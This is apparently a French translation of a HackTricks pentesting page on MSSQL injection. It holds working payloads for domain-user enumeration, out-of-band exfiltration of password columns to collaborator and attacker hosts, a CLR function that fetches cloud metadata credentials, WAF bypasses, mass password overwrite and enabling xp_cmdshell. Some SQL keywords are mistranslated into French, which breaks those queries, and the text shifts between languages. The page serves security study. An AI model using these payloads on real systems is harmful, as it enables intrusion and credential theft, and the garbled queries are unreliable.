Injection MSSQL
Reading time: 9 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
ĂnumĂ©ration Active Directory
Il peut ĂȘtre possible de Ă©numĂ©rer les utilisateurs de domaine via une injection SQL Ă l'intĂ©rieur d'un serveur MSSQL en utilisant les fonctions MSSQL suivantes :
SELECT DEFAULT_DOMAIN()
: Obtenir le nom de domaine actuel.master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
: Si vous connaissez le nom du domaine (DOMAIN dans cet exemple), cette fonction renverra le SID de l'utilisateur Administrator au format hexadĂ©cimal. Cela ressemblera Ă0x01050000000[...]0000f401
, notez comment les derniers 4 octets sont le nombre 500 au format big endian, qui est le ID commun de l'utilisateur administrateur.
Cette fonction vous permettra de connaĂźtre l'ID du domaine (tous les octets sauf les 4 derniers).SUSER_SNAME(0x01050000000[...]0000e803)
: Cette fonction renverra le nom d'utilisateur de l'ID indiqué (le cas échéant), dans ce cas 0000e803 en big endian == 1000 (généralement, c'est l'ID du premier utilisateur régulier créé). Ensuite, vous pouvez imaginer que vous pouvez brute-forcer les ID d'utilisateur de 1000 à 2000 et probablement obtenir tous les noms d'utilisateur des utilisateurs du domaine. Par exemple, en utilisant une fonction comme la suivante :
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
Vecteurs alternatifs basés sur les erreurs
Les injections SQL basées sur les erreurs ressemblent généralement à des constructions telles que +AND+1=@@version--
et des variantes basĂ©es sur l'opĂ©rateur «OR». Les requĂȘtes contenant de telles expressions sont gĂ©nĂ©ralement bloquĂ©es par les WAF. Comme contournement, concatĂ©nez une chaĂźne en utilisant le caractĂšre %2b avec le rĂ©sultat d'appels de fonctions spĂ©cifiques qui dĂ©clenchent une erreur de conversion de type de donnĂ©es sur les donnĂ©es recherchĂ©es.
Quelques exemples de telles fonctions :
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
Exemple d'utilisation de la fonction USER_NAME()
:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
SSRF
Ces astuces SSRF ont été prises ici
fn_xe_file_target_read_file
Cela nécessite la permission VIEW SERVER STATE
sur le serveur.
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
fn_get_audit_file
Il nécessite la permission CONTROL SERVER
.
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
fn_trace_gettabe
Il nécessite la permission CONTROL SERVER
.
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree
, xp_fileexists
, xp_subdirs
Les procédures stockées comme xp_dirtree
, bien qu'elles ne soient pas officiellement documentées par Microsoft, ont été décrites par d'autres en ligne en raison de leur utilité dans les opérations réseau au sein de MSSQL. Ces procédures sont souvent utilisées dans l'exfiltration de données hors bande, comme le montrent divers exemples et articles.
La procédure stockée xp_dirtree
, par exemple, est utilisĂ©e pour effectuer des requĂȘtes rĂ©seau, mais elle est limitĂ©e au port TCP 445. Le numĂ©ro de port n'est pas modifiable, mais il permet de lire Ă partir de partages rĂ©seau. L'utilisation est dĂ©montrĂ©e dans le script SQL ci-dessous :
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
Il est à noter que cette méthode pourrait ne pas fonctionner sur toutes les configurations systÚme, comme sur Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
fonctionnant sur un Windows Server 2016 Datacenter
avec les paramÚtres par défaut.
De plus, il existe des procédures stockées alternatives comme master..xp_fileexist
et xp_subdirs
qui peuvent obtenir des résultats similaires. Des détails supplémentaires sur xp_fileexist
peuvent ĂȘtre trouvĂ©s dans cet article TechNet.
xp_cmdshell
Ăvidemment, vous pourriez Ă©galement utiliser xp_cmdshell
pour exécuter quelque chose qui déclenche un SSRF. Pour plus d'infos, lisez la section pertinente sur la page :
1433 - Pentesting MSSQL - Microsoft SQL Server
MSSQL User Defined Function - SQLHttp
Créer une UDF CLR (User Defined Function Common Language Runtime), qui est un code rédigé dans n'importe quel langage .NET et compilé en une DLL, à charger dans MSSQL pour exécuter des fonctions personnalisées, est un processus qui nécessite un accÚs dbo
. Cela signifie qu'il est généralement réalisable uniquement lorsque la connexion à la base de données est effectuée en tant que sa
ou avec un rĂŽle d'administrateur.
Un projet Visual Studio et des instructions d'installation sont fournis dans ce dĂ©pĂŽt Github pour faciliter le chargement du binaire dans MSSQL en tant qu'assemblage CLR, permettant ainsi l'exĂ©cution de requĂȘtes HTTP GET depuis MSSQL.
Le cĆur de cette fonctionnalitĂ© est encapsulĂ© dans le fichier http.cs
, qui utilise la classe WebClient
pour exĂ©cuter une requĂȘte GET et rĂ©cupĂ©rer le contenu comme illustrĂ© ci-dessous :
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}
Avant d'exécuter la commande SQL CREATE ASSEMBLY
, il est conseillé d'exécuter le snippet SQL suivant pour ajouter le hachage SHA512 de l'assemblage à la liste des assemblages de confiance du serveur (visible via select * from sys.trusted_assemblies;
):
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
AprĂšs avoir ajoutĂ© l'assemblage avec succĂšs et crĂ©Ă© la fonction, le code SQL suivant peut ĂȘtre utilisĂ© pour effectuer des requĂȘtes HTTP :
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
Exploitation Rapide : RĂ©cupĂ©ration du Contenu Complet d'une Table en Une Seule RequĂȘte
Une mĂ©thode concise pour extraire le contenu complet d'une table en une seule requĂȘte consiste Ă utiliser la clause FOR JSON
. Cette approche est plus succincte que l'utilisation de la clause FOR XML
, qui nécessite un mode spécifique comme "raw". La clause FOR JSON
est préférée pour sa briÚveté.
Voici comment récupérer le schéma, les tables et les colonnes de la base de données actuelle :
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
```
https://vuln.app/getItem?id=1'+et+1=(sélectionner+concat_ws(0x3a,table_schema,table_name,column_name)a+de+information_schema.columns+pour+json+auto)--
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">`</span></div>
Retrieving the Current Query
For users granted the VIEW SERVER STATE
permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
To check if you have the VIEW SERVER STATE permission, the following query can be used:
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
Little tricks for WAF bypasses
Non-standard whitespace characters: %C2%85 ОлО %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Scientific (0e) and hex (0x) notation for obfuscating UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
A period instead of a whitespace between FROM and a column name:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
\N separator between SELECT and a throwaway column:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
WAF Bypass with unorthodox stacked queries
According to this blog post it's possible to stack queries in MSSQL without using ";":
SELECT 'a' SELECT 'b'
So for example, multiple queries such as:
utiliser [tempdb]
créer table [test] ([id] int)
insérer [test] valeurs(1)
sélectionner [id] de [test]
supprimer table[test]
Can be reduced to:
utiliser[tempdb]créer/**/table[test]([id]int)insérer[test]valeurs(1)sélectionner[id]de[test]supprimer/**/table[test]
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
# Ajouter un exec() inutile Ă la fin et faire croire au WAF que ce n'est pas une requĂȘte valide
admina'union select 1,'admin','testtest123'exec('select 1')--
## Cela sera :
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Utiliser des requĂȘtes Ă©trangement construites
admin'exec('update[users]set[password]=''a''')--
## Cela sera :
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Ou activer xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Cela sera
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--